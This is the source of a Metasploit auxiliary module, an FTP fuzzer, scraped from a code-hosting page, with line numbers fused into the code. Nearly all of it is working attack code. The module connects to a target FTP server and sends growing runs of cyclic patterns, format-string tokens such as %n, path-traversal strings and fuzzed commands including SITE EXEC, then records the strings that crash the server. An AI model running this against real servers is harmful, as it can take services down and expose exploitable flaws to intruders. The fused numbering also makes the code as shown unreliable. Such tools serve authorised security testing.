Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Exploit::Remote::Tcp89def initialize10super(11'Name' => 'Simple FTP Fuzzer',12'Description' => %q{13This module will connect to a FTP server and perform pre- and post-authentication fuzzing14},15'Author' => [ 'corelanc0d3r <peter.ve[at]corelan.be>', 'jduck' ],16'License' => MSF_LICENSE17)1819register_options(20[21Opt::RPORT(21),22OptInt.new('STARTATSTAGE', [ false, "Start at this test stage",1]),23OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),24OptInt.new('DELAY', [ false, "Delay between connections in seconds",1]),25OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),26OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000]),27OptInt.new('STOPAFTER', [ false, "Stop after x number of consecutive errors",2]),28OptString.new('USER', [ false, "Username",'anonymous']),29OptString.new('PASS', [ false, "Password",'[email protected]']),30OptBool.new('FASTFUZZ', [ false, "Only fuzz with cyclic pattern",true]),31OptBool.new('CONNRESET', [ false, "Break on CONNRESET error",true]),32])3334@evilchars = [35'A','a','%s','%d','%n','%x','%p','-1','0','0xfffffffe','0xffffffff','A/','//','/..','//..',36'A%20','./A','.A',',A','A:','!A','&A','?A','\A','../A/','..?','//A:','\\A','{A','$A','A*',37'cmd','[email protected]','#A','A/../','~','~A','~A/','A`/','>A','<A','A%n','A../','.././','A../',38'....//','~?*/','.\../','\.//A','-%A','%Y','%H','/1','!','@','%','&','/?(*','*','(',')',39'`',',','~/','/.','\$:','/A~%n','=','=:;)}','1.2.','41414141','-1234','999999,','%00','+A',40'+123','..\'','??.','..\.\'','.../','1234123+',41'%Y%%Y%/','%FC%80%80%80%80%AE%FC%80%80%80%80%AE/','????/','\uff0e/','%%32%65%%32%65/',42'+B./','%%32%65%%32%65/','..%c0%af','..%e0%80%af','..%c1%9c'43]44@commands = [45'ABOR','ACCT','ALLO','APPE','AUTH','CWD','CDUP','DELE','FEAT','HELP','HOST','LANG','LIST',46'MDTM','MKD','MLST','MODE','NLST','NLST -al','NOOP','OPTS','PASV','PORT','PROT','PWD','REIN',47'REST','RETR','RMD','RNFR','RNTO','SIZE','SITE','SITE CHMOD','SITE CHOWN','SITE EXEC','SITE MSG',48'SITE PSWD','SITE ZONE','SITE WHO','SMNT','STAT','STOR','STOU','STRU','SYST','TYPE','XCUP',49'XCRC','XCWD','XMKD','XPWD','XRMD'50]51@emax = @evilchars.length5253register_advanced_options(54[55OptString.new('FtpCommands', [ false, "Commands to fuzz at stages 4 and 5",@commands.join(" ")]),56OptBool.new('ExpandCrash', [ false, "Expand any crash strings",false]),57])58end596061def get_pkt62buf = sock.get_once(-1, 10)63vprint_status("[in ] #{buf.inspect}")64buf65end6667def send_pkt(pkt, get_resp = false)68vprint_status("[out] #{pkt.inspect}")69sock.put(pkt)70get_pkt if get_resp71end727374def process_phase(phase_num, phase_name, prepend = '', initial_cmds = [])75print_status("[Phase #{phase_num}] #{phase_name} - #{Time.now.localtime}")76ecount = 177@evilchars.each do |evilstr|7879if datastore['FASTFUZZ']80evilstr = "Cyclic"81@emax = 182end8384if (@stopprocess == false)85count = datastore['STARTSIZE']86print_status(" Character : #{evilstr} (#{ecount}/#{@emax})")87ecount += 188while count <= datastore['ENDSIZE']89begin90connect91if datastore['FASTFUZZ']92evil = Rex::Text.pattern_create(count)93else94evil = evilstr * count95end96print_status(" -> Fuzzing size set to #{count} (#{prepend}#{evilstr})")97initial_cmds.each do |cmd|98send_pkt(cmd, true)99end100pkt = prepend + evil + "\r\n"101send_pkt(pkt, true)102sock.put("QUIT\r\n")103select(nil, nil, nil, datastore['DELAY'])104disconnect105106count += datastore['STEPSIZE']107108rescue ::Exception => e109@error_cnt += 1110print_status("Exception #{@error_cnt} of #{@nr_errors}")111if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE')112if datastore['ExpandCrash']113print_status("Crash string : #{prepend}#{evil}")114else115print_status("Crash string : #{prepend}#{evilstr} x #{count}")116end117if @error_cnt >= @nr_errors118print_status("System does not respond - exiting now\n")119@stopprocess = true120print_error("Error: #{e.class} #{e} #{e.backtrace}\n")121return122else123print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")124select(nil,nil,nil,3) #wait 3 seconds125end126end127if @error_cnt >= @nr_errors128count += datastore['STEPSIZE']129@error_cnt = 0130end131end132end133end134end135end136137def ftp_commands138if datastore['FtpCommands'].to_s.upcase == "DEFAULT"139@commands140else141datastore['FtpCommands'].split(/[\s,]+/)142end143end144145def run_host(ip)146147startstage = datastore['STARTATSTAGE']148149@nr_errors = datastore['STOPAFTER']150@error_cnt = 0151@stopprocess = false152153if datastore['FASTFUZZ']154@evilchars = ['']155end156157print_status("Connecting to host " + ip + " on port " + datastore['RPORT'].to_s)158159if (startstage == 1)160process_phase(1, "Fuzzing without command")161startstage += 1162end163164if (startstage == 2) and (@stopprocess == false)165process_phase(2, "Fuzzing USER", 'USER ')166startstage += 1167end168169if (startstage == 3) and (@stopprocess == false)170process_phase(3, "Fuzzing PASS", 'PASS ',171[ "USER " + datastore['USER'] + "\r\n" ])172startstage += 1173end174175if (startstage == 4)176print_status "[Phase 4] Fuzzing commands: #{ftp_commands.join(", ")}"177ftp_commands().each do |cmd|178if (@stopprocess == false)179process_phase(4, "Fuzzing command: #{cmd}", "#{cmd} ",180[181"USER " + datastore['USER'] + "\r\n",182"PASS " + datastore['PASS'] + "\r\n"183])184end185end186# Don't progress into stage 5, it must be selected manually.187#startstage += 1188end189190# Fuzz other commands, all command combinations in one session191if (startstage == 5)192print_status("[Phase 5] Fuzzing other commands (Part 2, #{Time.now.localtime}): #{ftp_commands.join(", ")}")193ftp_commands().each do |cmd|194if (@stopprocess == false)195ecount = 1196count = datastore['STARTSIZE']197print_status("Fuzzing command #{cmd} - #{Time.now.localtime}" )198199connect200pkt = "USER " + datastore['USER'] + "\r\n"201send_pkt(pkt, true)202pkt = "PASS " + datastore['PASS'] + "\r\n"203send_pkt(pkt, true)204205while count <= datastore['ENDSIZE']206print_status(" -> Fuzzing size set to #{count}")207begin208@evilchars.each do |evilstr|209if datastore['FASTFUZZ']210evilstr = "Cyclic"211evil = Rex::Text.pattern_create(count)212@emax = 1213ecount = 1214else215evil = evilstr * count216end217print_status(" Command : #{cmd}, Character : #{evilstr} (#{ecount}/#{@emax})")218ecount += 1219pkt = cmd + " " + evil + "\r\n"220send_pkt(pkt, true)221select(nil, nil, nil, datastore['DELAY'])222@error_cnt = 0223end224rescue ::Exception => e225@error_cnt += 1226print_status("Exception #{@error_cnt} of #{@nr_errors}")227if (e.class.name == 'Rex::ConnectionRefused') or (e.class.name == 'EOFError') or (e.class.name == 'Errno::ECONNRESET' and datastore['CONNRESET']) or (e.class.name == 'Errno::EPIPE')228if @error_cnt >= @nr_errors229print_status("System does not respond - exiting now\n")230@stopprocess = true231print_error("Error: #{e.class} #{e} #{e.backtrace}\n")232return233else234print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")235select(nil,nil,nil,3) #wait 3 seconds236end237end238if @error_cnt >= @nr_errors239@error_cnt = 0240end241end242count += datastore['STEPSIZE']243end244sock.put("QUIT\r\n")245select(nil, nil, nil, datastore['DELAY'])246disconnect247end248end249end250end251end252253254